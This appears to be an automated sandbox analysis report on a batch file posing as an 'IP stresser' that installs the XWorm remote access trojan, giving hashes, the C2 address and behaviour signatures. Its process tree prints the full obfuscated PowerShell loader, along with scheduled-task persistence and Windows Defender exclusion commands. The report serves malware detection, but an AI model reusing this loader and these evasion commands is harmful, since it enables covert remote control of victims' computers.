Analysis

  • max time kernel
    149s
  • max time network
    128s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240419-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system
  • submitted
    28-04-2024 02:53

General

  • Target

    IPstresser.bat

  • Size

    104KB

  • MD5

    9961f5a480e3b1f40284111352e26ef9

  • SHA1

    d764ca52b356a0dddfa35fe99555be1b5cf2999c

  • SHA256

    239bafce9c2a8cffe424e4f48eee9bac08e09ab7423da9ae1e23e8ab27a5f4f4

  • SHA512

    7220340e6eeebaa2504d9c5d8f7c171ce10d794fb0c7712c54d6dac95a33b7699e482f891f52c12fdeb0caa055da6fc6e75fd76107b82ce77d8cbfd131762d1a

  • SSDEEP

    1536:7nOs1HXZcHbLD8V9u86pOzbpdYU3rKeNHcedVdzng6nFFKdEmgRUGONJtrA:rOsR+bkV9UpOzNd33uehRd7g6FFaqONc

Malware Config

Extracted

Family

xworm

C2

continue-silk.gl.at.ply.gg:58347

127.0.0.1:58347

Attributes
  • Install_directory

    %ProgramData%

  • install_file

    svchost.exe

Signatures

  • Detect Xworm Payload 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 17 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\IPstresser.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3272
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hCf6wEcK+VHA277kHDCxrhG4+VY1PV/KhbMkrUPhFBY='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('dc0yJ4420CXjo8i4RUcDRA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $ZjaPX=New-Object System.IO.MemoryStream(,$param_var); $Abpwf=New-Object System.IO.MemoryStream; $yXrTn=New-Object System.IO.Compression.GZipStream($ZjaPX, [IO.Compression.CompressionMode]::Decompress); $yXrTn.CopyTo($Abpwf); $yXrTn.Dispose(); $ZjaPX.Dispose(); $Abpwf.Dispose(); $Abpwf.ToArray();}function execute_function($param_var,$param2_var){ $rXNyO=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $zgjXN=$rXNyO.EntryPoint; $zgjXN.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\IPstresser.bat';$SPurN=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\IPstresser.bat').Split([Environment]::NewLine);foreach ($UwOBG in $SPurN) { if ($UwOBG.StartsWith(':: ')) { $fRHEc=$UwOBG.Substring(3); break; }}$payloads_var=[string[]]$fRHEc.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
      2⤵
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:392
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_863_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_863.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:696
      • C:\Windows\System32\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_863.vbs"
        3⤵
        • Checks computer location settings
        • Suspicious use of WriteProcessMemory
        PID:4068
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_863.bat" "
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:3292
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hCf6wEcK+VHA277kHDCxrhG4+VY1PV/KhbMkrUPhFBY='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('dc0yJ4420CXjo8i4RUcDRA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $ZjaPX=New-Object System.IO.MemoryStream(,$param_var); $Abpwf=New-Object System.IO.MemoryStream; $yXrTn=New-Object System.IO.Compression.GZipStream($ZjaPX, [IO.Compression.CompressionMode]::Decompress); $yXrTn.CopyTo($Abpwf); $yXrTn.Dispose(); $ZjaPX.Dispose(); $Abpwf.Dispose(); $Abpwf.ToArray();}function execute_function($param_var,$param2_var){ $rXNyO=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $zgjXN=$rXNyO.EntryPoint; $zgjXN.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_863.bat';$SPurN=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_863.bat').Split([Environment]::NewLine);foreach ($UwOBG in $SPurN) { if ($UwOBG.StartsWith(':: ')) { $fRHEc=$UwOBG.Substring(3); break; }}$payloads_var=[string[]]$fRHEc.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
            5⤵
            • Drops startup file
            • Adds Run key to start application
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of SetWindowsHookEx
            • Suspicious use of WriteProcessMemory
            PID:2968
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
              6⤵
              • Suspicious behavior: EnumeratesProcesses
              PID:4172
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'
              6⤵
              • Suspicious behavior: EnumeratesProcesses
              PID:2820
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\svchost.exe'
              6⤵
              • Suspicious behavior: EnumeratesProcesses
              PID:776
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svchost.exe'
              6⤵
              • Suspicious behavior: EnumeratesProcesses
              PID:4472
            • C:\Windows\System32\schtasks.exe
              "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "svchost" /tr "C:\ProgramData\svchost.exe"
              6⤵
              • Creates scheduled task(s)
              PID:2468
  • C:\ProgramData\svchost.exe
    C:\ProgramData\svchost.exe
    1⤵
    • Executes dropped EXE
    • Suspicious behavior: EnumeratesProcesses
    PID:4284

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\ProgramData\svchost.exe
    Filesize

    442KB

    MD5

    04029e121a0cfa5991749937dd22a1d9

    SHA1

    f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

    SHA256

    9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

    SHA512

    6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
    Filesize

    3KB

    MD5

    661739d384d9dfd807a089721202900b

    SHA1

    5b2c5d6a7122b4ce849dc98e79a7713038feac55

    SHA256

    70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf

    SHA512

    81b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
    Filesize

    1KB

    MD5

    ee6f5f5e5924783870aeedeccdafe9da

    SHA1

    0e12ede20df5ec37f2bf3608ad1bc9b4649450fd

    SHA256

    ebf215446a1b5afa86e8ba4316bc99c6d7918acd595786a31e0e5974f4e0f416

    SHA512

    998bad1b069cb0e7a57edef247421e5d5bc0b4f071bd16e4260367e86ac62053168204abc850365bf6eb4f41b32568bea99eb9afda60e7746eff37e604cbe61f

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
    Filesize

    944B

    MD5

    6d42b6da621e8df5674e26b799c8e2aa

    SHA1

    ab3ce1327ea1eeedb987ec823d5e0cb146bafa48

    SHA256

    5ab6a1726f425c6d0158f55eb8d81754ddedd51e651aa0a899a29b7a58619c4c

    SHA512

    53faffbda8a835bc1143e894c118c15901a5fd09cfc2224dd2f754c06dc794897315049a579b9a8382d4564f071576045aaaf824019b7139d939152dca38ce29

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
    Filesize

    944B

    MD5

    110b59ca4d00786d0bde151d21865049

    SHA1

    557e730d93fdf944a0cad874022df1895fb5b2e2

    SHA256

    77f69011c214ea5a01fd2035d781914c4893aee66d784deadc22179eadfdf77f

    SHA512

    cb55ac6eca50f4427718bace861679c88b2fdfea94d30209e8d61ca73a6ce9f8c4b5334922d2660a829b0636d20cbdf3bae1497c920e604efe6c636019feb10e

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
    Filesize

    944B

    MD5

    ce4540390cc4841c8973eb5a3e9f4f7d

    SHA1

    2293f30a6f4c9538bc5b06606c10a50ab4ecef8e

    SHA256

    e834e1da338b9644d538cefd70176768816da2556939c1255d386931bd085105

    SHA512

    2a3e466cb5a81d2b65256053b768a98321eb3e65ff46353eefc9864f14a391748116f050e7482ddd73a51575bf0a6fc5c673023dade62dbd8b174442bae1cc6b

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3yoyplog.ino.ps1
    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Roaming\startup_str_863.bat
    Filesize

    104KB

    MD5

    9961f5a480e3b1f40284111352e26ef9

    SHA1

    d764ca52b356a0dddfa35fe99555be1b5cf2999c

    SHA256

    239bafce9c2a8cffe424e4f48eee9bac08e09ab7423da9ae1e23e8ab27a5f4f4

    SHA512

    7220340e6eeebaa2504d9c5d8f7c171ce10d794fb0c7712c54d6dac95a33b7699e482f891f52c12fdeb0caa055da6fc6e75fd76107b82ce77d8cbfd131762d1a

  • C:\Users\Admin\AppData\Roaming\startup_str_863.vbs
    Filesize

    115B

    MD5

    46ecfea8ca77a5ea8761e315d86a0acf

    SHA1

    9d3335c8ceea2de5440b7a1b0dfcb9b504c76fc5

    SHA256

    7412fe1fa18a3dd64d8bf77e7715957d91c3d1a65b90906969dfccfe9ba663d1

    SHA512

    eb61425b5501bb72bcb48801d7e38ceaaad56d9c8fd522976a577cd6058e7897748661437e57ece47c63ee8b9cc1553991552fc19f0d9a3e381b64cc7766586e

  • memory/392-14-0x000002E0D37B0000-0x000002E0D37C6000-memory.dmp
    Filesize

    88KB

  • memory/392-51-0x00007FF999D00000-0x00007FF99A7C1000-memory.dmp
    Filesize

    10.8MB

  • memory/392-11-0x000002E0D3880000-0x000002E0D3890000-memory.dmp
    Filesize

    64KB

  • memory/392-12-0x000002E0D3880000-0x000002E0D3890000-memory.dmp
    Filesize

    64KB

  • memory/392-13-0x000002E0BB560000-0x000002E0BB568000-memory.dmp
    Filesize

    32KB

  • memory/392-10-0x00007FF999D00000-0x00007FF99A7C1000-memory.dmp
    Filesize

    10.8MB

  • memory/392-0-0x000002E0D37C0000-0x000002E0D37E2000-memory.dmp
    Filesize

    136KB

  • memory/696-25-0x00007FF999D00000-0x00007FF99A7C1000-memory.dmp
    Filesize

    10.8MB

  • memory/696-30-0x00007FF999D00000-0x00007FF99A7C1000-memory.dmp
    Filesize

    10.8MB

  • memory/696-27-0x0000019B50B50000-0x0000019B50B60000-memory.dmp
    Filesize

    64KB

  • memory/696-26-0x0000019B50B50000-0x0000019B50B60000-memory.dmp
    Filesize

    64KB

  • memory/2968-49-0x000001739AA30000-0x000001739AA46000-memory.dmp
    Filesize

    88KB

  • memory/2968-50-0x000001739AA60000-0x000001739AA7C000-memory.dmp
    Filesize

    112KB

  • memory/4284-109-0x00000216FF000000-0x00000216FF044000-memory.dmp
    Filesize

    272KB

  • memory/4284-110-0x00000216FF0D0000-0x00000216FF146000-memory.dmp
    Filesize

    472KB